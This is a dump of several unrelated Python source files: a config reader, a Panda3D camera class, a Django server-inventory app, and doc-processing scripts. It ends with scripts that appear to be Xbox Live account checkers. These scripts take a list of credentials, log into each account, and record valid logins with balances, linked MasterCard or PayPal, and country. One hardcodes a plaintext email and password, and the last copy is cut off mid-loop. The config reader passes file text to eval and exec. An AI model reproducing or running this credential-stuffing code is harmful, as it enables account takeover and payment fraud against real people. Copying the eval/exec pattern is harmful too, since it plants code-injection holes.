# reads configuration file and store options import ConfigParser CONFIG_FILE = 'cfg.txt' cp = ConfigParser.ConfigParser() # loads and reads CONFIG_FILE cp.read(CONFIG_FILE) try: zoom_inv = eval(cp.get('ui', 'zoom inversion')) except: zoom_inv = False print 'Zoom inversion: ', zoom_inv class ReadConfig: def __init__(self, filepath): file = open(filepath) file_lines = file.read().split('\n') file.close() for line in file_lines: # do this only if the line isn't empty if line != '': linea = remove_tabs(line) option_name, value = linea.split('\t') # create a new var that store the option value exec 'self.' + option_name + ' = ' + value # remove spaces and replace them with tabulations def remove_tabs(line): last = '' linea = '' for c in line: if c == ' ': if last != ' ': linea += '\t' else: linea += c last = c return linea # reads list of values in a file def read_values(filepath): file = open(filepath) file_lines = file.read().split('\n') file.close() list = [] for line in file_lines: # do this only if the line isn't empty if line != '': linea = remove_tabs(line) list.append(linea.split('\t')) return list
Python
# import panda main module import direct.directbase.DirectStart from pandac.PandaModules import * # module for task controlling from direct.task import Task class Camera(): def __init__(self, map): # map istance self.map = map # range of movement self.hMin = 11 self.hMax = 260 # metres of elevation change every zoom self.zoom = 40 # camera movement in metres self.totalMovement = 0 # deceleration in percent every loops # the sum must be 100 self.deceleration = [10, 10, 9, 8, 8, 7, 7, 6, 6, 5, 5, 4, 4, 3, 3, 2, 2, 1] # function that updates the camera self.moveFunction = '' # current loop self.currentTime = 0 # movement already done self.doneMovement = 0 # camera vertical angle self.verticalAngle = -40 # camera horizontal angle self.horizontalAngle = 0 # camera height self.height = 50 # terrain height under the camera self.terrain_height = 0 # camera position self.x = 40 self.y = 30 # camera # window size self.window_x = base.win.getProperties().getXSize() self.window_y = base.win.getProperties().getYSize() # set the camera self.set_camera() # loop that controls the mouse events taskMgr.add(self.mouse_event, "mouse") # method that updates camera values def set_camera(self): base.camera.setPos(self.x, self.y, self.height+self.terrain_height) base.camera.setHpr(self.horizontalAngle, self.verticalAngle, 0) # to move the camera def move(self, x, y): # control if the camera goes out of the map limits if self.x + x > -self.map.info.width/2: if self.x + x < self.map.info.width/2: self.x += x else: self.x = self.map.info.width/2 else: self.x = -self.map.info.width/2 if self.y + y > -self.map.info.height/2: if self.y + y < self.map.info.height/2: self.y += y else: self.y = self.map.info.height/2 else: self.y = -self.map.info.height/2 # elevation of the terrain under the camera self.terrain_height = self.map.elevation(self.x, self.y) # set the camera self.set_camera() def rotate(self, angle): self.horizontalAngle += angle # set the camera self.set_camera() def inclination(self, angle): if self.verticalAngle + angle < -90: self.verticalAngle = -90 elif self.verticalAngle + angle > 10: self.verticalAngle = 10 else: self.verticalAngle += angle # set the camera self.set_camera() # direction can be 'up' or 'down' # up => zoom out # down => zoom in def camera_zoom(self, direction): """*Move* the camera up and down (it's not properly a zoom), and rotate it. """ #Store direction to be used from self.velocity self.direction = {'out':1, 'in':-1}[direction] if self.currentTime == 0: # zoom out if camera height is lower than 260 m if direction == 'out' and self.height < self.hMax: self.totalMovement = self.zoom self.moveFunction = self.change_zoom taskMgr.remove('ZoomCamera') taskMgr.add(self.velocity, 'ZoomCamera') # zoom in if camera is over than 10 m elif direction == 'in' and self.height > self.hMin: # camera velocity becomes negative self.totalMovement = -self.zoom self.moveFunction = self.change_zoom taskMgr.remove('ZoomCamera') taskMgr.add(self.velocity, 'ZoomCamera') # set the mouse events def mouse_event(self, task): # abbreviation mwn = base.mouseWatcherNode # if the cursor exists if mwn.hasMouse(): # control position on x axis if self.window_x - 5 < mwn.getMouseX() * self.window_x: messenger.send('MouseRight') elif 5 - self.window_x > mwn.getMouseX() * self.window_x: messenger.send('MouseLeft') # control position on y axis if self.window_y - 5 < mwn.getMouseY() * self.window_y: messenger.send('MouseUp') elif 5 - self.window_y > mwn.getMouseY() * self.window_y: messenger.send('MouseDown') return task.cont def change_zoom(self, movement): self.height += movement self.set_camera() def change_rotate(self, movement): self.horizontalAngle += movement self.set_camera() def velocity(self, task): speed = self.deceleration[self.currentTime] movement = (self.totalMovement / 100.0) * speed self.currentTime += 1 self.moveFunction(movement) if self.currentTime < len(self.deceleration): # continue return task.cont else: # stop self.currentTime = 0 return task.done # references (temporary) # http://www.physicsclassroom.com/Class/1DKin/U1L1d.cfm
Python
# Django settings for app_srv_monitor project. DEBUG = True TEMPLATE_DEBUG = DEBUG ADMINS = ( # ('Your Name', 'your_email@domain.com'), ) MANAGERS = ADMINS #DATABASE_ENGINE = 'mysql' # 'postgresql_psycopg2', 'postgresql', 'mysql', 'sqlite3' or 'oracle'. DATABASE_ENGINE = 'sqlite3' # 'postgresql_psycopg2', 'postgresql', 'mysql', 'sqlite3' or 'oracle'. DATABASE_NAME = './app_srv_monitor' # Or path to database file if using sqlite3. #DATABASE_USER = 'app_srv_monitor' # Not used with sqlite3. #DATABASE_PASSWORD = '' # Not used with sqlite3. #DATABASE_HOST = '' # Set to empty string for localhost. Not used with sqlite3. #DATABASE_PORT = '' # Set to empty string for default. Not used with sqlite3. # Local time zone for this installation. Choices can be found here: # http://en.wikipedia.org/wiki/List_of_tz_zones_by_name # although not all choices may be available on all operating systems. # If running in a Windows environment this must be set to the same as your # system time zone. TIME_ZONE = 'America/New York' # Language code for this installation. All choices can be found here: # http://www.i18nguy.com/unicode/language-identifiers.html LANGUAGE_CODE = 'en-us' SITE_ID = 1 # If you set this to False, Django will make some optimizations so as not # to load the internationalization machinery. USE_I18N = False # Absolute path to the directory that holds media. # Example: "/home/media/media.lawrence.com/" MEDIA_ROOT = '' # URL that handles the media served from MEDIA_ROOT. Make sure to use a # trailing slash if there is a path component (optional in other cases). # Examples: "http://media.lawrence.com", "http://example.com/media/" MEDIA_URL = '' # URL prefix for admin media -- CSS, JavaScript and images. Make sure to use a # trailing slash. # Examples: "http://foo.com/media/", "/media/". ADMIN_MEDIA_PREFIX = '/admin_media/' # Make this unique, and don't share it with anybody. SECRET_KEY = 'mtxg@jrwf*m*c!r-(ul^^uo9n812^*7bowibt#8yd^s1e$p3q3' # List of callables that know how to import templates from various sources. TEMPLATE_LOADERS = ( 'django.template.loaders.filesystem.load_template_source', 'django.template.loaders.app_directories.load_template_source', # 'django.template.loaders.eggs.load_template_source', ) MIDDLEWARE_CLASSES = ( 'django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', ) ROOT_URLCONF = 'app_srv_monitor.home.urls' TEMPLATE_DIRS = ( # Put strings here, like "/home/html/django_templates" or "C:/www/django/templates". # Always use forward slashes, even on Windows. # Don't forget to use absolute paths, not relative paths. "/srv/www/app_srv_monitor/template" ) INSTALLED_APPS = ( 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.admin', 'app_srv_monitor.home', )
Python
from django.conf import settings from django.contrib.auth.models import User from django.contrib import admin from django.db import models # In the settings and such you will be able to change the screen name # Here we are using App Grouping to describe a set of applications # in a more commercial setting like a consulting company this might be used as a list of clients class ApplicationGrouping(models.Model): Grouping_Name = models.CharField(max_length=64,help_text='Enter the name of the Application Grouping') Grouping_Description = models.TextField(help_text='Enter the description of the Application Grouping') AGAdded_Date = models.DateTimeField('date added',auto_now_add=True,editable=False) AGLast_Date = models.DateTimeField('last updated',auto_now=True,editable=False) AGAdded_User = models.CharField(max_length=64,editable=False) AGLast_User = models.CharField(max_length=64,editable=False) def __unicode__(self): return self.Grouping_Name # Long term the concept of a sub group of a sub group needs to be established # for now we will just setup for a single level of subgroups. class SubGroup(models.Model): ParentGrouping = models.ForeignKey(ApplicationGrouping) SubGroupName = models.CharField('Subgroup Name:',max_length=200) SGAdded_Date = models.DateTimeField('date added',auto_now_add=True,editable=False) SGLast_Date = models.DateTimeField('last updated',auto_now=True,editable=False) SGAdded_User = models.CharField(max_length=64,editable=False) SGLast_User = models.CharField(max_length=64,editable=False) def __unicode__(self): return self.SubGroupName # Application defines the information about the app that are not dynamicly updated # For Instance, it contains the the app Names but not the servers they are on class Application(models.Model): AGrouping = models.ForeignKey(ApplicationGrouping) App_Name = models.CharField('App. Name',max_length=200,unique=True) App_URI = models.CharField('App. URI',max_length=1024,help_text='Enter in only the part of the URL after the machine name') App_Version_File = models.CharField('Version File Name',max_length=256,blank=True) App_Description = models.TextField('App Description',help_text='Enter the Description of the application along with the App Owner and Development Lead') App_Listener_Port = models.SmallIntegerField(blank=True,null=True ) AAdded_Date = models.DateTimeField('date added',auto_now_add=True,editable=False) ALast_Date = models.DateTimeField('last updated',auto_now=True,editable=False) AAdded_User = models.CharField(max_length=64,editable=False) ALast_User = models.CharField(max_length=64,editable=False) def __unicode__(self): return self.App_URI # Sub-Applications are additional Web Apps listed in the configurations # The are linked to other apps for organization purposes App also doesn't have a # Listner Port or Version File because it should use the same as the primary app class SubApplication(models.Model): Primary_App = models.ForeignKey(Application) App_Name = models.CharField('App. Name',max_length=200) App_URI = models.CharField('App. URI',max_length=1024,help_text='Enter in only the part of the URL after the machine name') App_Description = models.TextField('App Description',help_text='Enter the Description of the application along with the App Owner and Development Lead') AAdded_Date = models.DateTimeField('date added',auto_now_add=True,editable=False) ALast_Date = models.DateTimeField('last updated',auto_now=True,editable=False) AAdded_User = models.CharField(max_length=64,editable=False) ALast_User = models.CharField(max_length=64,editable=False) def __unicode__(self): return self.App_URI # If a support group test page has been developed this represents the link to it with directions on how to use it class ApplicationTestPage(models.Model): App_Name = models.ForeignKey(Application) TPName = models.CharField('Test Page Name',max_length=64,help_text='Name the test page.(useful if there are several tests possible.)') Test_Located = models.CharField('Where is the Test Located?',max_length=200,help_text='What is the URL/URI for the test(i.e. http://someserver/someapp/test or /someapp/test/ or /test/)') Test_Instruction = models.TextField('How do I use it?',help_text='Enter any steps needed to run the test on the test page.') TPAdded_Date = models.DateTimeField('date added',auto_now_add=True,editable=False) TPLast_Date = models.DateTimeField('last updated',auto_now=True,editable=False) TPAdded_User = models.CharField(max_length=64,editable=False) TPLast_User = models.CharField(max_length=64,editable=False) def __unicode__(self): return self.TPName # This table will be used by a batch process to gather this information class ApplicationVersion(models.Model): VName = models.ForeignKey(Application) Version_info = models.CharField(max_length=128) AVAdded_Date = models.DateTimeField('date added',auto_now_add=True,editable=False) AVLast_Date = models.DateTimeField('last updated',auto_now=True,editable=False) AVAdded_User = models.CharField(max_length=64,editable=False) AVLast_User = models.CharField(max_length=64,editable=False) def __unicode__(self): return self.Version_info # Server Models represent the type of Software involved. For Example: WAS, WAS Portal, Weblogic, Tomcat class ServerModel(models.Model): SMName = models.CharField('Application Server Type',max_length=128,help_text='The Common name of the aplication server software. i.e. WebSphere, Tomcat, Weblogic') SMVersion_Number = models.CharField('Software Version',max_length=64,help_text='Enter the version of the App Server Software. i.e. 6.0.2.21, 5.x,4.0.x') SMAdded_Date = models.DateTimeField('date added',auto_now_add=True,editable=False) SMLast_Date = models.DateTimeField('last updated',auto_now=True,editable=False) SMAdded_User = models.CharField(max_length=64,editable=False) SMLast_User = models.CharField(max_length=64,editable=False) def __unicode__(self): type_name= self.SMName+' '+self.SMVersion_Number return type_name # This gives us a way to add Admin servers like WAS Deployment Managers and supports # using automated batch building discovery. class ServerName(models.Model): SVersion_Number = models.ForeignKey(ServerModel) FQDN = models.CharField(max_length=128) IP_Address = models.IPAddressField() SGrouping = models.ForeignKey(ApplicationGrouping) SAdded_Date = models.DateTimeField('date added',auto_now_add=True,editable=False) SLast_Date = models.DateTimeField('last updated',auto_now=True,editable=False) SAdded_User = models.CharField(max_length=64,editable=False) SLast_User = models.CharField(max_length=64,editable=False) TYPES_OF_SERVERS = ( ('D', 'Deployment Manager'), ('N', 'Node'), ('S', 'Stand Alone') ) Server_Class = models.CharField(max_length=1, choices=TYPES_OF_SERVERS) TEIR_OF_SERVER = ( ('D', 'Development'), ('I', 'Integration'), ('Q', 'QA/Test'), ('S', 'Staging'), ('P', 'Production') ) Server_Teir = models.CharField(max_length=1, choices=TEIR_OF_SERVER) def __unicode__(self): return self.FQDN class ApplicationToServer(models.Model): AppURI = models.ForeignKey(Application) ServerName = models.ForeignKey(ServerName) Listener_Port = models.SmallIntegerField(blank=True) MAdded_Date = models.DateTimeField('date added',auto_now_add=True,editable=False) MLast_Date = models.DateTimeField('last updated',auto_now=True,editable=False) MAdded_User = models.CharField(max_length=64,editable=False) MLast_User = models.CharField(max_length=64,editable=False) def __unicode__(self): return self.AppURI
Python
from django.conf.urls.defaults import * # Uncomment the next two lines to enable the admin: from django.contrib import admin admin.autodiscover() urlpatterns = patterns('', # Example: # (r'^app_srv_monitor/', include('app_srv_monitor.foo.urls')), # Uncomment the admin/doc line below and add 'django.contrib.admindocs' # to INSTALLED_APPS to enable admin documentation: # (r'^admin/doc/', include('django.contrib.admindocs.urls')), # Uncomment the next line to enable the admin: (r'^admin/(.*)', admin.site.root), (r'^app_srv_monitor/admin/(.*)', admin.site.root), )
Python
# Create your views here.
Python
from django.contrib import admin import datetime from app_srv_monitor.home.models import ApplicationGrouping from app_srv_monitor.home.models import SubGroup from app_srv_monitor.home.models import Application from app_srv_monitor.home.models import ApplicationTestPage from app_srv_monitor.home.models import ServerModel from app_srv_monitor.home.models import ServerName from app_srv_monitor.home.models import ApplicationToServer from django.contrib.auth.models import User def get_current_user(request): theUser=request.user return theUser class ApplicationToServerMapping(admin.ModelAdmin): fieldsets = [('Basic Matching',{ 'fields':('AppURI','ServerName','Listener_Port') })] fk_name = "AppURI" list_display = ('AppURI','ServerName') def save_model(self, request, obj, form, change): obj.MAdded_User = str(request.user) obj.MLast_User = str(request.user) obj.save() admin.site.register(ApplicationToServer,ApplicationToServerMapping) class ApplicationAdmin(admin.ModelAdmin): fieldsets = [ ('Basic Information',{ 'fields':('AGrouping','App_Name','App_URI','App_Listener_Port','App_Version_File','App_Description') }) ] list_display = ('App_Name','AGrouping','AAdded_Date','ALast_Date') def save_model(self, request, obj, form, change): obj.save() admin.site.register(Application,ApplicationAdmin) class GroupAdmin(admin.ModelAdmin): fieldsets = [ ('Basic Info', { 'fields': ('Grouping_Name', 'Grouping_Description') }), ] def save_model(self, request, obj, form, change): obj.AGAdded_User = str(request.user) obj.AGLast_User = str(request.user) obj.save() # list_display = ('Grouping_Name','AGAdded_Date','AGAdded_User','AGLast_Date','AGLast_User') list_display = ('Grouping_Name','AGAdded_Date','AGLast_Date') admin.site.register(ApplicationGrouping, GroupAdmin) class SubGroupAdmin(admin.ModelAdmin): fieldsets = [ ('Basic Info', { 'fields': ('ParentGrouping', 'SubGroupName') }), ] def save_model(self, request, obj, form, change): obj.SGAdded_User = str(request.user) obj.SGLast_User = str(request.user) obj.save() list_display = ('ParentGrouping','SubGroupName','SGAdded_Date','SGAdded_User','SGLast_Date','SGLast_User') admin.site.register(SubGroup, SubGroupAdmin) class ServModel(admin.ModelAdmin): fieldsets = ( ('Server Type Information',{ 'fields': ('SMName', 'SMVersion_Number') }), ) list_display = ('SMName','SMVersion_Number','SMAdded_Date','SMLast_Date') def save_model(self, request, obj, form, change): obj.SMAdded_User = str(request.user) obj.SMLast_User = str(request.user) obj.save() admin.site.register(ServerModel, ServModel) class ServerNameAdmin(admin.ModelAdmin): fieldsets = [ ('Server Information',{ 'fields': ('FQDN','SVersion_Number','IP_Address', 'SGrouping','Server_Class') }), ] radio_fields = {'Server_Class': admin.VERTICAL} list_display = ('FQDN','SAdded_User','SAdded_Date','SLast_User','SLast_Date','SGrouping') def save_model(self, request, obj, form, change): obj.SAdded_User = str(request.user) obj.SLast_User = str(request.user) obj.save() admin.site.register(ServerName, ServerNameAdmin) class TestPage(admin.ModelAdmin): fieldsets = [ ('Test Page Information',{ 'fields': ('App_Name','TPName','Test_Located','Test_Instruction',) }), ] list_display = ('TPName','Test_Located','TPLast_User','TPLast_Date') def save_model(self, request, obj, form, change): obj.TPAdded_User = str(request.user) obj.TPLast_User = str(request.user) obj.save() admin.site.register(ApplicationTestPage, TestPage)
Python
#!/usr/bin/env python from django.core.management import execute_manager try: import settings # Assumed to be in the same directory. except ImportError: import sys sys.stderr.write("Error: Can't find the file 'settings.py' in the directory containing %r. It appears you've customized things.\nYou'll have to run django-admin.py, passing it your settings module.\n(If the file settings.py does indeed exist, it's causing an ImportError somehow.)\n" % __file__) sys.exit(1) if __name__ == "__main__": execute_manager(settings)
Python
#!/usr/bin/env python import re import os import sys import shutil PACKAGE_NAME = 'com.google.android.apps.dashclock.api' def main(): root = sys.argv[1] for path, _, files in os.walk(root): for f in [f for f in files if f.endswith('.html')]: fp = open(os.path.join(path, f), 'r') html = fp.read() fp.close() toroot = '.' if path.startswith(root): subpath = path[len(root):] toroot = '../' * (subpath.count('/') + 1) html = process(toroot, html) if f.endswith('package-summary.html'): html = process_package_summary(toroot, html) fp = open(os.path.join(path, f), 'w') fp.write(html) fp.close() shutil.copy('index.html', root) def process(toroot, html): re_flags = re.I | re.M | re.S html = re.sub(r'<HR>\s+<HR>', '', html, 0, re_flags) html = re.sub(r'windowTitle\(\);', 'windowTitle();prettyPrint();', html, 0, re_flags) html = re.sub(r'\s+</PRE>', '</PRE>', html, 0, re_flags) html = re.sub(PACKAGE_NAME + '</font>', '<A HREF="package-summary.html" STYLE="border:0">' + PACKAGE_NAME + '</A></FONT>', html, 0, re_flags) html = re.sub(r'<HEAD>', '''<HEAD> <LINK REL="stylesheet" TYPE="text/css" HREF="http://fonts.googleapis.com/css?family=Roboto:400,700,300|Inconsolata"> <LINK REL="stylesheet" TYPE="text/css" HREF="%(root)sresources/prettify.css"> <SCRIPT SRC="%(root)sresources/prettify.js"></SCRIPT> ''' % dict(root=toroot), html, 0, re_flags) #html = re.sub(r'<HR>\s+<HR>', '', html, re.I | re.M | re.S) return html def process_package_summary(toroot, html): re_flags = re.I | re.M | re.S html = re.sub(r'</H2>\s+.*?\n', '</H2>\n', html, 0, re_flags) html = re.sub(r'<B>See:</B>\n<br>', '\n', html, 0, re_flags) html = re.sub(r'&nbsp;&nbsp;(&nbsp;)+[^\n]+\n', '\n', html, 0, re_flags) html = re.sub(r'\n[^\n]+\s+description\n', '\nDescription\n', html, 0, re_flags) return html if __name__ == '__main__': main()
Python
#==================================================================== # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. # ==================================================================== # # This software consists of voluntary contributions made by many # individuals on behalf of the Apache Software Foundation. For more # information on the Apache Software Foundation, please see # <http://www.apache.org/>. # import os import re import tempfile import shutil ignore_pattern = re.compile('^(.svn|target|bin|classes)') java_pattern = re.compile('^.*\.java') annot_pattern = re.compile('import org\.apache\.http\.annotation\.') def process_dir(dir): files = os.listdir(dir) for file in files: f = os.path.join(dir, file) if os.path.isdir(f): if not ignore_pattern.match(file): process_dir(f) else: if java_pattern.match(file): process_source(f) def process_source(filename): tmp = tempfile.mkstemp() tmpfd = tmp[0] tmpfile = tmp[1] try: changed = False dst = os.fdopen(tmpfd, 'w') try: src = open(filename) try: for line in src: if annot_pattern.match(line): changed = True line = line.replace('import org.apache.http.annotation.', 'import net.jcip.annotations.') dst.write(line) finally: src.close() finally: dst.close(); if changed: shutil.move(tmpfile, filename) else: os.remove(tmpfile) except: os.remove(tmpfile) process_dir('.')
Python
#!/user/bin/env python # -*- coding:UTF-8 -*- ''' ''' import win32com.client from time import sleep import sys, time import pythoncom import threading import re #1、加入多线程 #2、加入异常处理 #3、加入读写文件 stopEvent=threading.Event() class EventSink(object): def OnNavigateComplete2(self,*args): stopEvent.set() #wait for ie ok def waitUntilReady(ie): if ie.ReadyState!=4: while 1: #print("waiting") pythoncom.PumpWaitingMessages() stopEvent.wait(.2) if stopEvent.isSet() or ie.ReadyState==4: stopEvent.clear() break; #login_url = 'https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=11&ct=1336294672&rver=6.0.5286.0&wp=MBI&wreply=https:%2F%2Flive.xbox.com:443%2Fxweb%2Flive%2Fpassport%2FsetCookies.ashx%3Frru%3Dhttps%253a%252f%252flive.xbox.com%252fen-US%252fAccount%252fSignin%253freturnUrl%253dhttp%25253a%25252f%25252fwww.xbox.com%25252fen-US%25252f%25253flc%25253d1033&lc=1033&id=66262&cbcxt=0' login_url='https://login.live.com' logout_url = 'https://live.xbox.com/Account/Signout' #username='natedogg_w@yahoo.com' #password='w12345' username='samcool345@hotmail.co.uk' password='killer1' ie = win32com.client.Dispatch("InternetExplorer.Application") ie.Visible = 1 first_url="http://www.xbox.com" #first_url ie.Navigate(first_url) waitUntilReady(ie) sleep(5) #second_url,login print("open login page") second_url="https://live.xbox.com/Account/Signin?returnUrl=http%3a%2f%2fwww.xbox.com%2fen-US%2f" ie.Navigate(second_url) #while ie.Busy: # sleep(1) waitUntilReady(ie) #sleep(20) # log in #print("open login page") #ie.Navigate(login_url) #while ie.Busy: # sleep(1) print("start login") ie.Document.getElementById("i0116").value = username ie.Document.getElementById("i0118").value = password ie.Document.getElementById("idSIButton9").click() waitUntilReady(ie) sleep(60) print("login success") #如何判断有没有登陆成功? # check account informations #account_url = 'https://live.xbox.com/en-US/Account?xr=mebarnav' #account_url = 'http://www.xbox.com' #ie.Navigate(account_url) #while ie.Busy: # sleep(1) #again sign in #ie.Navigate(second_usrl) #while ie.Busy: # sleep(1) #sleep(30); #balance = str(ie.Document.getElementsById('points')[0].innerText) balance = str(ie.Document.getElementById('points').firstChild.innerText) # is bound or not #print("%s %s %s %s %s %s" % (username, password, balance,bound, pp, country)) print("checking account informations") ie.Document.getElementById('points').nextSibling.firstChild.click() state_url = ie.Document.getElementById('points').nextSibling.firstChild.href print(state_url) regex=r"com/(.+)/Account" country=re.search(regex,state_url).groups()[0]; print(country) waitUntilReady(ie) sleep(30) #获得余额 #nodes=ie.Document.getElementById('PointsBalance').childNodes #balance=nodes[2].firstChild PP_AND_CARD=ie.Document.getElementById("BodyContent").innerText #print(PP_AND_CARD) regex=r"MasterCard:" bound = re.search(regex,PP_AND_CARD); regex=r"PayPal:" pp = re.search(regex,PP_AND_CARD); if bound: bound = '有绑定' else: bound = '无绑定' if pp: pp = '有pp' else: pp = '无pp' # country #country = "USA" print("%s %s %s %s %s %s" % (username, password, balance,bound, pp, country)) # log out #ie.Navigate(logout_url) #while ie.Busy: # sleep(1) #print("log out successfully")
Python
#!/user/bin/env python # -*- coding:UTF-8 -*- ''' ''' import win32com.client from time import sleep import sys, time import pythoncom import threading import re stopEvent=threading.Event() class EventSink(object): def OnNavigateComplete2(self,*args): stopEvent.set() #wait for ie ok def waitUntilReady(ie): if ie.ReadyState!=4: while 1: #print("waiting") pythoncom.PumpWaitingMessages() stopEvent.wait(.2) if stopEvent.isSet() or ie.ReadyState==4: stopEvent.clear() break; #login_url = 'https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=11&ct=1336294672&rver=6.0.5286.0&wp=MBI&wreply=https:%2F%2Flive.xbox.com:443%2Fxweb%2Flive%2Fpassport%2FsetCookies.ashx%3Frru%3Dhttps%253a%252f%252flive.xbox.com%252fen-US%252fAccount%252fSignin%253freturnUrl%253dhttp%25253a%25252f%25252fwww.xbox.com%25252fen-US%25252f%25253flc%25253d1033&lc=1033&id=66262&cbcxt=0' data_file_name=sys.argv[1] threadid=int(sys.argv[2]) min=int(sys.argv[3]) max=int(sys.argv[4]) ie = win32com.client.Dispatch("InternetExplorer.Application") ie.Visible = 1 #first_url="http://www.xbox.com" #ie.Navigate(first_url) #waitUntilReady(ie) #print(sys.argv) i=0 result_file=open("result.txt","a"); run_file=open("thread_%d_run.txt"%threadid,"a"); data_file=open(data_file_name) line=data_file.readline() while i<min and line: line=data_file.readline() i=i+1 #逻辑 while i>=min and i<max: login_url='https://login.live.com' logout_url = 'https://live.xbox.com/Account/Signout' line=line.strip() sep=line.split("\t") if 5>=len(sep): i=i+1 line=data_file.readline() continue #username='natedogg_w@yahoo.com' #password='w12345' username=sep[0] password=sep[1] print("%d\t正在验证 ---> 用户名:%s\t密码:%s"%(i,username,password)) #sleep(5) # log out #ie.Navigate(logout_url) #waitUntilReady(ie) #sleep(2) #while ie.Busy: # sleep(1) #second_url,login,需要修改成sigin second_url="https://live.xbox.com/Account/Signin?returnUrl=http%3a%2f%2fwww.xbox.com%2fen-US%2f" ie.Navigate(second_url) #print(ie.ReadyState) #while ie.Busy: # sleep(1) waitUntilReady(ie) while 1: if ie.Document.getElementById("i0116") or ie.Document.getElementById("i1051"): break else: print("sleeping...for username threadid=%d"%threadid) sleep(1) refresh=0 if ie.Document.getElementById("i1051"): ie.Document.getElementById("i1051").click() while not ie.Document.getElementById("i0116"): refresh=refresh+1 print("sleeping...for username 2 threadid=%d"%threadid) if refresh>100: refresh=0 line=data_file.readline() i=i+1 ie.Quit() ie = win32com.client.Dispatch("InternetExplorer.Application") ie.Visible = 1 continue sleep(1) ie.Document.getElementById("i0116").value = username ie.Document.getElementById("i0118").value = password ie.Document.getElementById("idSIButton9").click() waitUntilReady(ie) sleep(8) #while not (ie.Document.getElementById("points") or ie.Document.getElementById("idSIButton9")): # print("sleeping...for balance or error,threadid=%d"%threadid) # sleep(1) refresh=0 #i0278代码登陆失败,是左边的那个大的框 while 1: if(ie.Document.getElementById("points") or ie.Document.getElementById("i0278")): break else: print("sleeping...for balance or error,threadid=%d"%threadid) sleep(1) #如何判断有没有登陆成功? if ie.Document.getElementById("i0278"): run_file.write("%d 用户名:%s 密码:%s ---- 密码错误\n"%(i,username,password)) print("%d-R\t密码错误 ---> 用户名:%s\t密码:%s"%(i,username,password)) line=data_file.readline() i=i+1 continue refresh=0; #while not ie.Document.getElementById("points").firstChild: # print("sleeping...for firstChild threadid=%d"%threadid) # sleep(1) balance = 1234 #balance = str(ie.Document.getElementById('points').firstChild.innerText) #获得国家信息 state_url = ie.Document.getElementById('points').nextSibling.firstChild.href regex=r"com/(.+)/Account" country=re.search(regex,state_url).groups()[0]; ie.Document.getElementById('points').nextSibling.firstChild.click() waitUntilReady(ie) #sleep(30) while not ie.Document.getElementById("BodyContent").firstChild: print("sleeping...for BodyContent threadid=%d"%threadid) sleep(1) PP_AND_CARD=ie.Document.getElementById("BodyContent").innerText #必须去等这个PointsBalance while not ie.Document.getElementById("PointsBalance"): print("sleeping...for PointsBalance threadid=%d"%threadid) sleep(1) balance_nodes=ie.Document.getElementById("PointsBalance").firstChild.childNodes balance=balance_nodes[2].innerText regex=r"MasterCard:" bound = re.search(regex,PP_AND_CARD); regex=r"PayPal:" pp = re.search(regex,PP_AND_CARD); if bound: bound = '有绑定' else: bound = '无绑定' if pp: pp = '有pp' else: pp = '无pp' res="%s %s %s %s %s %s" % (username, password, balance,bound, pp, country) print("%d-R\t"%i+res) result_file.write(res+"\n") run_file.write("%d 用户名:%s 密码:%s ---- 密码正确\n"%(i,username,password)) # log out ie.Document.getElementById("AdditionalLinks").nextSibling.firstChild.click() waitUntilReady(ie) sleep(12) #if(ie.Document.getElementById("AdditionalLinks")): # ie.Document.getElementById("AdditionalLinks").nextSibling.firstChild.click() # print("quit again 8...") # sleep(16) line=data_file.readline() i=i+1 #退出ie ie.Quit() result_file.close() run_file.close()
Python
#!/user/bin/env python # -*- coding:UTF-8 -*- ''' ''' import win32com.client from time import sleep import sys, time import pythoncom import threading import re stopEvent=threading.Event() class EventSink(object): def OnNavigateComplete2(self,*args): stopEvent.set() #wait for ie ok def waitUntilReady(ie): if ie.ReadyState!=4: while 1: #print("waiting") pythoncom.PumpWaitingMessages() stopEvent.wait(.2) if stopEvent.isSet() or ie.ReadyState==4: stopEvent.clear() break; #login_url = 'https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=11&ct=1336294672&rver=6.0.5286.0&wp=MBI&wreply=https:%2F%2Flive.xbox.com:443%2Fxweb%2Flive%2Fpassport%2FsetCookies.ashx%3Frru%3Dhttps%253a%252f%252flive.xbox.com%252fen-US%252fAccount%252fSignin%253freturnUrl%253dhttp%25253a%25252f%25252fwww.xbox.com%25252fen-US%25252f%25253flc%25253d1033&lc=1033&id=66262&cbcxt=0' data_file_name=sys.argv[1] threadid=int(sys.argv[2]) min=int(sys.argv[3]) max=int(sys.argv[4]) ie = win32com.client.Dispatch("InternetExplorer.Application") ie.Visible = 1 #first_url="http://www.xbox.com" #ie.Navigate(first_url) #waitUntilReady(ie) #print(sys.argv) i=0 result_file=open("result.txt","a"); run_file=open("thread_%d_run.txt"%threadid,"a"); data_file=open(data_file_name) line=data_file.readline() while i<min and line: line=data_file.readline() i=i+1 #逻辑 while i>=min and i<max: login_url='https://login.live.com' logout_url = 'https://live.xbox.com/Account/Signout' line=line.strip() sep=line.split("\t") if 5>=len(sep): i=i+1 line=data_file.readline() continue #username='natedogg_w@yahoo.com' #password='w12345' username=sep[0] password=sep[1] print("%d\t正在验证 ---> 用户名:%s\t密码:%s"%(i,username,password)) #sleep(5) # log out #ie.Navigate(logout_url) #waitUntilReady(ie) #sleep(2) #while ie.Busy: # sleep(1) #second_url,login,需要修改成sigin second_url="https://live.xbox.com/Account/Signin?returnUrl=http%3a%2f%2fwww.xbox.com%2fen-US%2f" ie.Navigate(second_url) #print(ie.ReadyState) #while ie.Busy: # sleep(1) waitUntilReady(ie) while 1: if ie.Document.getElementById("i0116") or ie.Document.getElementById("i1051"): break else: print("sleeping...for username threadid=%d"%threadid) sleep(1) refresh=0 if ie.Document.getElementById("i1051"): ie.Document.getElementById("i1051").click() while not ie.Document.getElementById("i0116"): refresh=refresh+1 print("sleeping...for username 2 threadid=%d"%threadid) if refresh>100: refresh=0 